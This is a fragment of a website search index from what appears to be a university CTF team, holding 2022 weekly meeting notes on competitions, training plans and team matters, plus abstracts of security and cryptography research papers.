If you are not in either of them, please create a new team, and post the team invitation code in our group.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-22/#offline-party-time","title":"Offline party time","text":"Welcome everyone!
Our party has been delayed several times, let's find a time to take a break in Hai Di Lao.
Would it's fine this weekend?
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-22/#training-schedule-for-this-week","title":"Training schedule for this week","text":"Our schedule is set to ByteCTF on this Sunday.
But I also wrote some tutorials about the kernel pwn for you. It's a pleasure to share something about pwning.
In the CTF, pwn is the most challenging part of all aspects. Usually, we divide pwn into 3 parts: stack, heap, and kernel.
We already learned about the stack pwn (bof, rop, and rol). However, about the heap and the kernel, we still need to deal with them.
In the kernel pwn, I would introduce several parts:
After learning about this part, we can try to find some Linux kernel vulnerabilities, just like CVE-2021-3156 or CVE-2021-4034.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-30/","title":"CTF Week Meeting 2022-09-30","text":"The current planning for the WD Cup semi-final is around November.
Please submit your information before 10th, Oct.
\u795d\u8d3a\u6240\u6709\u664b\u7ea7\u961f\u4f0d\uff01\u8bf7\u6240\u6709\u664b\u7ea7\u534a\u51b3\u8d5b\u7684\u9009\u624b\u4e8e10\u670810\u65e5\u524d\u4f7f\u7528\u62a5\u540d\u8d26\u53f7\u767b\u5f55\u7f51\u9f0e\u676f\u5b98\u7f51\uff08https://www.wangdingcup.com\uff09\uff0c\u5e76\u6309\u9875\u9762\u63d0\u793a\u4e0a\u4f20\u672c\u4eba\u8bc1\u4ef6\u7167\u7247\uff0c\u7167\u7247\u5c06\u7528\u4e8e\u7ebf\u4e0b\u8d5b\u53c2\u8d5b\u8bc1\u7684\u5236\u4f5c\u3002\n
Congratulations to all the advancing teams! Please visit the official website of Netding Cup (https://www.wangdingcup.com) with your registration account before October 10 and follow the instructions on the page to upload your ID photo, which will be used for the production of your offline competition entry card.\n
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-30/#advertise-plan","title":"Advertise plan","text":"COMPASS CTF team has several works about the advertisement:
CS315 Computer security course is the most interesting course in SUSTech. I really want to do some cool stuff in CS315.
Discussion about the CS315.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-09-30/#upcoming-events","title":"Upcoming events","text":"The Third \"Xiang Yun Cup\" Network Security Competition and the Fifth Jilin Province Student Network Security Competition (preliminary round)
https://www.ichunqiu.com/competition/detail/293
The organizer of the competition: Office of Network Security and Informatization Committee of the CPC Jilin Provincial Committee, Jilin Provincial Department of Education, Jilin Provincial Administration of Government Services and Digital Construction Organizer: Jilin Jilin Xiangyun Information Technology Co. Co-organizer: Beijing Yongxin Zhicheng Technology Co.
Not sure about the exeat recent days.
If the time arrangement is fine, let's have our offline activity soon.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-06/#honor-certificates","title":"Honor certificates","text":"If you remember about the qwb, our honor certificates are delivered to the university. We have amazing ranks in this game, and congratulations to all participators.
We can take a photo together in offline party.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-06/#usb-drive","title":"USB drive","text":"I've updated a vmware pro distribution in the usb drive.
If you have other suggestions, please contact me.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-06/#cs315","title":"CS315","text":"We have received some suggestions about CS315 recently. The main discussion about the CS315 is listed below:
Prof. Zhang takes lots of effects to make CS315 interesting and worthy. I'm also want to have a valuable chance to introduce CTF. We are updating and improving CS315 these days.
If you have any suggestions, please contact us.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-06/#training-schedule","title":"Training schedule","text":"The past 2 weeks are busy and chaotic. I have some family affairs to deal, and got stomach flu these days. Sorry about my absence in the training.
We would back to normal after the holiday.
Looking forward to sharing and learning with you!
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-06/#upcoming-events","title":"Upcoming events","text":""},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-06/#xiangyun-cup-3rd","title":"XiangYun Cup 3rd","text":"https://xiangyuncup.ichunqiu.com/
Sign up: 2022-09-30 10:00:00 - 2022-10-27 10:00:00
Sign in: 2022-10-29 09:00:00 - 2022-10-30 21:00:00 (Online)
Information about recent years' XiangYun Cup:
1. Anti-cheating is nothing, no team got banned.\n2. Misc is trash-bin.\n
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-06/#ctfshow-noob-cup","title":"CTFshow noob cup","text":"https://ctf.show/challenges
The event is over now. But the challenges are great, and we still can submit flag.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-06/#cybersecurityrumble-ctf","title":"CyberSecurityRumble CTF","text":"https://cybersecurityrumble.de/
Online: 2022-10-09 01:00:00 - 2022-10-10 01:00:00
The (Cyber) CyberSecurityRumble Germany is back!
The CSR this year will be a 24h online Jeopardy style CTF. Max Team size is 6 Hackers! Everybody is allowed to participate online.
Again we'll have tasks in all categories: pwn, rev, crypto, web, ... from beginner friendly to 31337!
Next year we'll hopefully have an onsite final again!
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-13/","title":"CTF Week Meeting 2022-10-13","text":"https://hack.lug.ustc.edu.cn/
USTC Hackergame 2022 Official QQ group: 849778309
The 9th Annual University of Science and Technology of China Information Security Competition 2022 is about to open. This competition is held online and lasts up to a week, with a gradient of difficulty in the questions. In the main atmosphere of exploring and solving puzzles, contestants will compete with various levels.
The competition will improve the quality of the questions while also having a step-by-step guide for newcomers, which will hopefully bring a good competition experience to each contestant. We welcome your active participation and wish you satisfactory results!
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-13/#weekly-training-and-sharing-plans","title":"Weekly training and sharing plans","text":"According to the previous schedule, the training plan for this weekend is reverse engineering
.
Special thanks to the @Frankss for the sharing of GDB and Dynamic Reverse
.
Reference for this weekend:
https://asisctf.com/
The competition starts tomorrow.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-13/#rules","title":"Rules","text":"Each team is only allowed to participate under one name.
There is no restriction on the number of team members.
If you have questions about tasks, ask moderators in Discord chat or email. No points will be deducted for these questions.
If this is the first time you play over, you should know that a flag is a sentence or code that you should find in each level. There is no exact procedure to find them, you have to do several tests and think out of the box to get them. Eventually, you'll understand the dynamics of the CTF and how to quickly solve challenges.
If you are sure your flag is true (we mean %100 SURE), but our system does not accept it, inform us via chat.
Reporting bugs in the contest infrastructure has a reward.
Thou shalt not be a jerk. We are all here to learn something new.
Any attempt to disrupting the contest will result in disqualification.
We have a dynamic scoreboard. That means the more teams solve a challenge, the less point each team gets. The formula is:
All flags must be in this form: ASIS{[0-9a-zA-Z_-]+.!?|}, unless the contrary is stated. Flag example: ASIS{_some_l33t_string_l1k3_7hi5_}
There would be at least 16 tasks.
You can find the latest news and announcements about this contest on the announcements page.
Registration will be open until the end of the game.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-27/","title":"CTF Week Meeting 2022-10-27","text":"https://www.ichunqiu.com/competition/detail/293
https://xiangyuncup.ichunqiu.com/
There is 1 team:
No Name 1 \u90ac\u4e00\u5e06 2 \u674e\u7167 3 \u6731\u5f18 4 \u4e25\u6587\u8c26 5 \u6731\u5609\u6960"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-27/#weekly-training-and-sharing-plan","title":"Weekly Training and Sharing Plan","text":"Topic: PWN, stack, heap, and kernel.
Contents of this weekend:
The sharing topic would be: how to design a CTF challenge.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-27/#upcoming-events","title":"Upcoming Events","text":""},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-27/#hacklu-ctf-2022","title":"Hack.lu CTF 2022","text":"https://ctftime.org/event/1727
Friday, 28 October 2022, 16:00 UTC \u2014 Sunday, 30 October 2022, 16:00 UTC
Hack.lu CTF 2022 is organized as usual by FluxFingers, the CTF team of Ruhr-University Bochum (Germany). This will be the 13th Hack.lu CTF held by us.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-27/#fe-ctf-2022-cyber-demon","title":"FE-CTF 2022: Cyber Demon","text":"https://ctftime.org/event/1776
Friday, 28 October 2022, 11:37 UTC \u2014 Sunday, 30 October 2022, 12:37 UTC
Welcome to Cyber Demon, hacker. Now kill PulseAudio and start pwning, there\u2019s no time to waste! We\u2019re talking total undefined behavior against the forces of GNU with the only thing standing between a shell and a segfault is you \u2013 one angry hacker with an editor and a bad attitude.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-10-27/#bluehens-ctf-2022","title":"BlueHens CTF 2022","text":"https://ctftime.org/event/1738
Friday, 28 October 2022, 19:00 UTC \u2014 Sunday, 30 October 2022, 19:00 UTC
A jeopardy-style CTF organized by the University of Delaware's own CTF team, that covers topics from crypto and pwn to rev and web. High-school, undergraduate, graduate, mixed, and professional teams with up to four members are allowed to compete in separate buckets. This competition is supported by the Electrical and Computer Engineering Department, Center for Cybersecurity, Assurance and Privacy, Trustworthy Computing Group, Cloud Crypto VIP Team, and Cyber Scholars at the University of Delaware. We extend our gratitude to our sponsors listed at the event URL. Registration opens September 2nd.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-11-11/","title":"CTF Week Meeting 2022-11-11","text":"Topic: Modern cryptography, ECC, RC4, and AES.
Please please please if you want to share some topics, contact me. I've shared by myself for 3 weeks!
We will cover the modern part of Cryptography including public key encryption, modern symmetric cryptography, and some mathematics knowledge about the cryptography.
If you are interested in the zero-knowledge proof, today we have a lecture about that at 4:00 pm in the 551 meeting room.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-11-11/#cyber-security-tournament-on-dec-3rd-dec-4th","title":"Cyber Security Tournament on Dec 3rd - Dec 4th","text":"The idea is a brief now, if you have any challenges want to put in this game, please contact me.
The game includes 2 parts:
The prize would include an SSD drive with a penetration environment on it.
The game will invite beginners in cybersecurity and everyone who want to have a relaxed weekend. We have 2 goals:
Sat, 12 Nov 2022, 13:00 CST \u2014 Sun, 13 Nov 2022, 13:00 CST
https://platform.id.seccon.jp/
This year, we will hold an online qualification round and on-site finals.
The finals will be in Tokyo From Feb. 11 to Feb. 12 and have international and domestic divisions.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-11-11/#_1","title":"\u83dc\u72d7\u676f","text":"https://ctf.show/challenges
\u6bd4\u8d5b\u540d\u79f0\uff1a\u83dc\u72d7\u676f
\u6bd4\u8d5b\u65f6\u95f4\uff1a2022\u5e7411\u670811\u65e520\u65f6\uff0c\u517148\u5c0f\u65f6
\u6bd4\u8d5b\u7c7b\u578b\uff1a\u4e2a\u4eba\u8d5b
\u6bd4\u8d5b\u96be\u5ea6\uff1a\u8f7b\u8f7b\u677e\u677e\uff0c\u91cf\u5927\u7ba1\u9971\uff0c\u6ca1\u6709\u9006\u5411\u548cpwn
\u6bd4\u8d5b\u5956\u54c1\uff1a\u83dc\u72d7(\u53ef\u7eff\u53ef\u7c89)
\u975e\u5f3a\u5236\u89c4\u5b9a\uff1a\u6709npy\u4eba\u58eb\u7981\u6b62\u53c2\u52a0
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-11-11/#catctf","title":"CATCTF","text":"WeChat article link
Now in the preparation stage, the competition time is undetermined.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-11-18/","title":"CTF Week Meeting 2022-11-11","text":"Topic: Modern cryptography, ECC, RC4, and AES.
Please please please if you want to share some topics, contact me. I've shared by myself for 3 weeks!
We will cover the modern part of Cryptography including public key encryption, modern symmetric cryptography, and some mathematics knowledge about the cryptography.
If you are interested in the zero-knowledge proof, today we have a lecture about that at 4:00 pm in the 551 meeting room.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-11-18/#cyber-security-tournament-on-dec-3rd-dec-4th","title":"Cyber Security Tournament on Dec 3rd - Dec 4th","text":"The idea is a brief now, if you have any challenges want to put in this game, please contact me.
The game includes 2 parts:
The prize would include an SSD drive with a penetration environment on it.
The game will invite beginners in cybersecurity and everyone who want to have a relaxed weekend. We have 2 goals:
Sat, 12 Nov 2022, 13:00 CST \u2014 Sun, 13 Nov 2022, 13:00 CST
https://platform.id.seccon.jp/
This year, we will hold an online qualification round and on-site finals.
The finals will be in Tokyo From Feb. 11 to Feb. 12 and have international and domestic divisions.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-11-18/#_1","title":"\u83dc\u72d7\u676f","text":"https://ctf.show/challenges
\u6bd4\u8d5b\u540d\u79f0\uff1a\u83dc\u72d7\u676f
\u6bd4\u8d5b\u65f6\u95f4\uff1a2022\u5e7411\u670811\u65e520\u65f6\uff0c\u517148\u5c0f\u65f6
\u6bd4\u8d5b\u7c7b\u578b\uff1a\u4e2a\u4eba\u8d5b
\u6bd4\u8d5b\u96be\u5ea6\uff1a\u8f7b\u8f7b\u677e\u677e\uff0c\u91cf\u5927\u7ba1\u9971\uff0c\u6ca1\u6709\u9006\u5411\u548cpwn
\u6bd4\u8d5b\u5956\u54c1\uff1a\u83dc\u72d7(\u53ef\u7eff\u53ef\u7c89)
\u975e\u5f3a\u5236\u89c4\u5b9a\uff1a\u6709npy\u4eba\u58eb\u7981\u6b62\u53c2\u52a0
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-11-18/#catctf","title":"CATCTF","text":"WeChat article link
Now in the preparation stage, the competition time is undetermined.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-12-22/","title":"CTF Week Meeting 2022-12-22","text":"I just participated in the X-MAS CTF yesterday, and the topic is very difficult, and I am finishing up the related Writeup and summary.
Some of the more impressive topics are
Until the last step is normal forensic, however, the last step needs to crack KeePass (a password saving database software), the master obtained in the middle is not directly used for decryption, but needs to attack the encryption mode of KeePass2, by giving the KEY HASH of the file and the uncorrupted MASTER KEY, the .kdbx The encrypted data in the file is extracted and deciphered using its own cryptographic scheme.
The process of database injection into RCE, the exact implementation I will write in WP.
Finally, it is very sad that I am the only one who participated in many of the recent competitions, probably due to the end of the semester. As a member of the CTF team, I hope you can participate in more competitions.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-12-22/#future-competitions","title":"Future competitions","text":"Jule CTF: As of 12.24.2022 08:00, I have not participated in previous competitions and cannot provide information.
Damncon 2022: As of 12.24.2022 23:00, I have not participated in previous tournaments and cannot provide information.
Spring Cup Winter 2022: Registration required, tournament as of 12.25.2022 18:00, some great topics were done at the Spring tournament, looking forward to this Winter tournament for students who advanced to expert difficulty.
niteCTF: As of 12.26.2022 0:00, a very good race, great experience last year for beginners and advanced difficulty.
The above tournaments are the rest of the year's events, and I am immensely looking forward to having you all join me.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-12-22/#0x2-the-list-of-winners-of-compass-ctf-2022-and-the-discussion-of-prizes","title":"0x2. the list of winners of COMPASS CTF 2022, and the discussion of prizes","text":"In this COMPASS CTF 2022, there were 31 participants who completed at least the check-in questions, and the number of prizes expected to be awarded was 15, but in practice I only collected information from the top 15 participants (i.e., there would be fewer than 15 prizes).
I collected a total of 10 winners who were willing to claim their prizes, so some adjustments will be made to the prize list, which is still a work in progress.
If you have good ideas for this contest, feel free to give suggestions.
Note, this is the list of prizes we started with.
Therefore, the original prize budget was \u00a51,201, but now the prize budget will be adjusted downward due to the reduction of participants.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-12-22/#0x3-the-exploration-of-combining-ctf-with-academic-research","title":"0x3. the exploration of combining CTF with academic research","text":"This is just a preliminary idea, and I'm still trying to explore this route myself.
Idea from Hongyi Lu: one could take advantage of the fact that vulnerabilities are often reproduced in CTF to examine the CVE vulnerabilities mentioned in the paper, and perhaps improve on those implementations.
For me, it is also very encouraging for people to actively participate in academic research. We often explore new and untouched work in the course of our cybersecurity practice, and these can be part of academic innovation.
I will also invite faculty members in the lab who are dedicated to academic work to give some valuable advice and share.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-12-22/#0x4-the-proposal-and-implementation-of-the-compass-team-on-various-platforms","title":"0x4. the proposal and implementation of the COMPASS TEAM on various platforms","text":"COMPASS TEAM in addition to competition work, our work also includes providing science/teaching/guidance for the field of cyber security so that more people are willing to learn cyber security, and we also hope to get more outstanding students to join COMPASS Lab.
As part of COMPASS Lab's promotion and COMPASS TEAM's contribution to cybersecurity, I plan to open COMPASS TEAM accounts on multiple platforms to promote our work.
For different social media, I have planned different focuses, and the following accounts are planned now.
If you have another social platform to recommend, or have suggestions for guidance on our publicity work, welcome to communicate with me.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-12-22/#0x5-application-for-compass-teams-public-email-address-on-campus","title":"0x5. application for COMPASS TEAM's public email address on campus","text":"I am communicating with the Information Center and Ms. Qingxia Li to open a COMPASS TEAM email address, which will hopefully facilitate the promotion of the event and lecture/training publicity afterwards.
Since the past, we have been using CRA's public mailbox, which has caused a lot of inconvenience. I hope this work will be convenient for us when it is completed.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-12-22/#0x6-adjustment-of-training-plan-during-winter-break","title":"0x6. adjustment of training plan during winter break","text":"During the winter break, I did not schedule a training program.
However, there will be several race summaries and reviews, and also some catechisms/videos will be recorded and posted, so you can actively participate if you wish.
"},{"location":"Meeting/2022%20Last%20Half/CTF%20Week%20Meeting%202022-12-22/#0x7-registration-and-ranking-adjustment-of-varsity-team-members-after-this-semester","title":"0x7. Registration and ranking adjustment of varsity team members after this semester","text":"After each semester, I recalculate the activity and commitment of the varsity members, hoping that everyone will still maintain their passion for cybersecurity.
I'll be adjusting the roster of active and core members, and perhaps the composition of the team as well. I'll get back to you with the results in the next few days.
I'll post a question paper later, please submit if you are still interested in the CTF (and active in the CTF).
"},{"location":"Paper/Artificial%20Intelligence/Cert-RNN%20Towards%20Certifying%20the%20Robustness%20of%20Recurrent/","title":"Cert-RNN: Towards Certifying the Robustness of Recurrent Neural Networks","text":"Authors: Tianyu Du (Zhejiang University); Shouling Ji (Zhejiang University); Lujia Shen (Zhejiang University); Yao Zhang (Zhejiang University); Jinfeng Li (Zhejiang University); Jie Shi (Huawei International, Singapore); Chengfang Fang (Huawei International, Singapore); Jianwei Yin (Zhejiang University); Raheem Beyah (Georgia Institute of Technology); Ting Wang (Pennsylvania State University)
Keywords: deep learning, recurrent neural networks, robustness certification, natural language processing
"},{"location":"Paper/Artificial%20Intelligence/Cert-RNN%20Towards%20Certifying%20the%20Robustness%20of%20Recurrent/#abstract","title":"Abstract","text":"Certifiable robustness, the functionality of verifying whether the given region surrounding a data point admits any adversarial example, provides guaranteed security for neural networks deployed in adversarial environments. A plethora of work has been proposed to certify the robustness of feed-forward networks, e.g., FCNs and CNNs. Yet, most existing methods cannot be directly applied to recurrent neural networks (RNNs), due to their sequential inputs and unique operations. In this paper, we present Cert-RNN, a general framework for certifying the robustness of RNNs. Specifically, through detailed analysis for the intrinsic property of the unique function in different ranges, we exhaustively discuss different cases for the exact formula of bounding planes, based on which we design several precise and efficient abstract transformers for the unique calculations in RNNs. Cert-RNN significantly outperforms the state-of-the-art methods (e.g., POPQORN [25]) in terms of (i) effectiveness \u2013 it provides much tighter robustness bounds, and (ii) efficiency \u2013 it scales to much more complex models. Through extensive evaluation, we validate Cert-RNN\u2019s superior performance across various network architectures (e.g., vanilla RNN and LSTM) and applications (e.g., image classification, sentiment analysis, toxic comment detection, and malicious URL detection). For instance, for the RNN-2-32 model on the MNIST sequence dataset, the robustness bound certified by Cert-RNN is on average 1.86 times larger than that by POPQORN. Besides certifying the robustness of given RNNs, Cert-RNN also enables a range of practical applications including evaluating the provable effectiveness for various defenses (i.e., the defense with a larger robustness region is considered to be more robust), improving the robustness of RNNs (i.e., incorporating Cert-RNN with verified robust training) and identifying sensitive words (i.e., the word with the smallest certified robustness bound is considered to be the most sensitive word in a sentence), which helps build more robust and interpretable deep learning systems. We will open-source CertRNN for facilitating the DNN security research.
"},{"location":"Paper/Artificial%20Intelligence/Cert-RNN%20Towards%20Certifying%20the%20Robustness%20of%20Recurrent/#related","title":"Related","text":"Present PPT: https://nesa.zju.edu.cn/download/ppt/dty_slides_Cert-RNN.pdf
"},{"location":"Paper/Artificial%20Intelligence/Cert-RNN%20Towards%20Certifying%20the%20Robustness%20of%20Recurrent/#download","title":"Download","text":"PDF: Cert-RNN Towards Certifying the Robustness of Recurrent.pdf
"},{"location":"Paper/Artificial%20Intelligence/Unleashing%20the%20Tiger%20Inference%20Attacks%20on%20Split%20Learning/","title":"Unleashing the Tiger Inference Attacks on Split Learning","text":"[Submitted on 4 Dec 2020 (v1), last revised 21 Aug 2021 (this version, v4)]
Authors: Dario Pasquini, Giuseppe Ateniese, Massimo Bernaschi
Comments: To appear in the proceedings of: ACM Conference on Computer and Communications Security 2021 (CCS21)
Subjects: Cryptography and Security (cs.CR); Machine Learning (cs.LG)
"},{"location":"Paper/Artificial%20Intelligence/Unleashing%20the%20Tiger%20Inference%20Attacks%20on%20Split%20Learning/#abstract","title":"Abstract","text":"We investigate the security of Split Learning -- a novel collaborative machine learning framework that enables peak performance by requiring minimal resources consumption. In the present paper, we expose vulnerabilities of the protocol and demonstrate its inherent insecurity by introducing general attack strategies targeting the reconstruction of clients' private training sets. More prominently, we show that a malicious server can actively hijack the learning process of the distributed model and bring it into an insecure state that enables inference attacks on clients' data. We implement different adaptations of the attack and test them on various datasets as well as within realistic threat scenarios. We demonstrate that our attack is able to overcome recently proposed defensive techniques aimed at enhancing the security of the split learning protocol. Finally, we also illustrate the protocol's insecurity against malicious clients by extending previously devised attacks for Federated Learning. To make our results reproducible, we made our code available at this https URL.
"},{"location":"Paper/Artificial%20Intelligence/Unleashing%20the%20Tiger%20Inference%20Attacks%20on%20Split%20Learning/#related","title":"Related","text":"GitHub repo: https://github.com/pasquini-dario/SplitNN_FSHA
"},{"location":"Paper/Artificial%20Intelligence/Unleashing%20the%20Tiger%20Inference%20Attacks%20on%20Split%20Learning/#download","title":"Download","text":"PDF: Unleashing the Tiger Inference Attacks on Split Learning.pdf
"},{"location":"Paper/Cryptography/Fuzzy%20Message%20Detection/","title":"Fuzzy Message Detection","text":"Authors: Gabrielle Beck and Julia Len and Ian Miers and Matthew Green
Category / Keywords: public-key cryptography / privacy, encryption, cryptocurrency
Original Publication (with major differences): ACM CCS
"},{"location":"Paper/Cryptography/Fuzzy%20Message%20Detection/#abstract","title":"Abstract","text":"Many privacy-preserving protocols employ a primitive that allows a sender to \"flag\" a message to a recipient's public key, such that only the recipient (who possesses the corresponding secret key) can detect that the message is intended for their use. Examples of such protocols include anonymous messaging, privacy-preserving payments, and anonymous tracing. A limitation of the existing techniques is that recipients cannot easily outsource the detection of messages to a remote server, without revealing to the server the exact set of matching messages. In this work we propose a new class of cryptographic primitives called fuzzy message detection schemes. These schemes allow a recipient to derive a specialized message detection key that can identify correct messages, while also incorrectly identifying non-matching messages with a specific and chosen false positive rate pp. This allows recipients to outsource detection work to an untrustworthy server, without revealing precisely which messages belong to the receiver. We show how to construct these schemes under a variety of assumptions; describe several applications of the new technique; and show that our schemes are efficient enough to use in real applications.
"},{"location":"Paper/Cryptography/Fuzzy%20Message%20Detection/#download","title":"Download","text":"PDF: Fuzzy Message Detection.pdf
"},{"location":"Paper/Cryptography/Key%20Agreement%20for%20Decentralized%20Secure%20Group%20Messaging%20with%20Strong%20Security%20Guarantees/","title":"Key Agreement for Decentralized Secure Group Messaging with Strong Security Guarantees","text":"Authors: Matthew Weidner and Martin Kleppmann and Daniel Hugenroth and Alastair R. Beresford
Category / Keywords: cryptographic protocols / secure messaging, group messaging, decentralization, forward secrecy, post-compromise security
Original Publication (with minor differences): ACM CCS 2021
"},{"location":"Paper/Cryptography/Key%20Agreement%20for%20Decentralized%20Secure%20Group%20Messaging%20with%20Strong%20Security%20Guarantees/#abstract","title":"Abstract","text":"Secure group messaging protocols, providing end-to-end encryption for group communication, need to handle mobile devices frequently being offline, group members being added or removed, and the possibility of device compromises during long-lived chat sessions. Existing work targets a centralized network model in which all messages are routed through a single server, which is trusted to provide a consistent total order on updates to the group state. In this paper we adapt secure group messaging for decentralized networks that have no central authority. Servers may still optionally be used, but they are trusted less. We define decentralized continuous group key agreement (DCGKA), a new cryptographic primitive encompassing the core of a decentralized secure group messaging protocol; we give a practical construction of a DCGKA protocol and prove its security; and we describe how to construct a full messaging protocol from DCGKA. In the face of device compromise our protocol achieves forward secrecy and post-compromise security. We evaluate the performance of a prototype implementation, and demonstrate that our protocol has practical efficiency.
"},{"location":"Paper/Cryptography/Key%20Agreement%20for%20Decentralized%20Secure%20Group%20Messaging%20with%20Strong%20Security%20Guarantees/#related","title":"Related","text":"GitHub repo: https://github.com/trvedata/key-agreement
"},{"location":"Paper/Cryptography/Key%20Agreement%20for%20Decentralized%20Secure%20Group%20Messaging%20with%20Strong%20Security%20Guarantees/#download","title":"Download","text":"PDF: Key Agreement for Decentralized Secure Group Messaging with Strong Security Guarantees.pdf
"},{"location":"Paper/Internet%20of%20Things/Snipuzz%20Black-box%20Fuzzing%20of%20IoT%20Firmware%20via%20Message%20Snippet%20Inference/","title":"Snipuzz: Black-box Fuzzing of IoT Firmware via Message Snippet Inference","text":"[Submitted on 12 May 2021 (v1), last revised 21 May 2021 (this version, v2)]
Authors: Xiaotao Feng (1), Ruoxi Sun (2), Xiaogang Zhu (1), Minhui Xue (2), Sheng Wen (1), Dongxi Liu (3), Surya Nepal (3), Yang Xiang (1) ((1) Swinburne University of Technology, (2) The University of Adelaide, (3) CSIRO Data61)
Comments: Accepted to ACM CCS 2021
Subjects: Cryptography and Security (cs.CR)
"},{"location":"Paper/Internet%20of%20Things/Snipuzz%20Black-box%20Fuzzing%20of%20IoT%20Firmware%20via%20Message%20Snippet%20Inference/#abstract","title":"Abstract","text":"The proliferation of Internet of Things (IoT) devices has made people's lives more convenient, but it has also raised many security concerns. Due to the difficulty of obtaining and emulating IoT firmware, the black-box fuzzing of IoT devices has become a viable option. However, existing black-box fuzzers cannot form effective mutation optimization mechanisms to guide their testing processes, mainly due to the lack of feedback. It is difficult or even impossible to apply existing grammar-based fuzzing strategies. Therefore, an efficient fuzzing approach with syntax inference is required in the IoT fuzzing domain. To address these critical problems, we propose a novel automatic black-box fuzzing for IoT firmware, termed Snipuzz. Snipuzz runs as a client communicating with the devices and infers message snippets for mutation based on the responses. Each snippet refers to a block of consecutive bytes that reflect the approximate code coverage in fuzzing. This mutation strategy based on message snippets considerably narrows down the search space to change the probing messages. We compared Snipuzz with four state-of-the-art IoT fuzzing approaches, i.e., IoTFuzzer, BooFuzz, Doona, and Nemesys. Snipuzz not only inherits the advantages of app-based fuzzing (e.g., IoTFuzzer, but also utilizes communication responses to perform efficient mutation. Furthermore, Snipuzz is lightweight as its execution does not rely on any prerequisite operations, such as reverse engineering of apps. We also evaluated Snipuzz on 20 popular real-world IoT devices. Our results show that Snipuzz could identify 5 zero-day vulnerabilities, and 3 of them could be exposed only by Snipuzz. All the newly discovered vulnerabilities have been confirmed by their vendors.
"},{"location":"Paper/Internet%20of%20Things/Snipuzz%20Black-box%20Fuzzing%20of%20IoT%20Firmware%20via%20Message%20Snippet%20Inference/#download","title":"Download","text":"PDF: Snipuzz Black-box Fuzzing of IoT Firmware via Message Snippet Inference.pdf
"},{"location":"Paper/Misc/Chaff%20Bugs%20Deterring%20Attackers%20by%20Making%20Software%20Buggier/","title":"Chaff Bugs: Deterring Attackers by Making Software Buggier","text":"[Submitted on 2 Aug 2018]
Authors: Zhenghao Hu, Yu Hu, Brendan Dolan-Gavitt
Subjects: Cryptography and Security (cs.CR)
"},{"location":"Paper/Misc/Chaff%20Bugs%20Deterring%20Attackers%20by%20Making%20Software%20Buggier/#abstract","title":"Abstract","text":"Sophisticated attackers find bugs in software, evaluate their exploitability, and then create and launch exploits for bugs found to be exploitable. Most efforts to secure software attempt either to eliminate bugs or to add mitigations that make exploitation more difficult. In this paper, we introduce a new defensive technique called chaff bugs, which instead target the bug discovery and exploit creation stages of this process. Rather than eliminating bugs, we instead add large numbers of bugs that are provably (but not obviously) non-exploitable. Attackers who attempt to find and exploit bugs in software will, with high probability, find an intentionally placed non-exploitable bug and waste precious resources in trying to build a working exploit. We develop two strategies for ensuring non-exploitability and use them to automatically add thousands of non-exploitable bugs to real-world software such as nginx and libFLAC; we show that the functionality of the software is not harmed and demonstrate that our bugs look exploitable to current triage tools. We believe that chaff bugs can serve as an effective deterrent against both human attackers and automated Cyber Reasoning Systems (CRSes).
"},{"location":"Paper/Misc/Chaff%20Bugs%20Deterring%20Attackers%20by%20Making%20Software%20Buggier/#related","title":"Related","text":"Chaff CTF: https://ctftime.org/event/1445
"},{"location":"Paper/Misc/Chaff%20Bugs%20Deterring%20Attackers%20by%20Making%20Software%20Buggier/#download","title":"Download","text":"PDF: Chaff Bugs Deterring Attackers by Making Software Buggier.pdf
"},{"location":"Paper/Mobile/Consistency%20Analysis%20of%20Data-Usage%20Purposes%20in%20Mobile%20Apps/","title":"Consistency Analysis of Data-Usage Purposes in Mobile Apps","text":"Authors: Duc Bui, Yuan Yao, Kang G. Shin, Jong-Min Choi, Junbum Shin
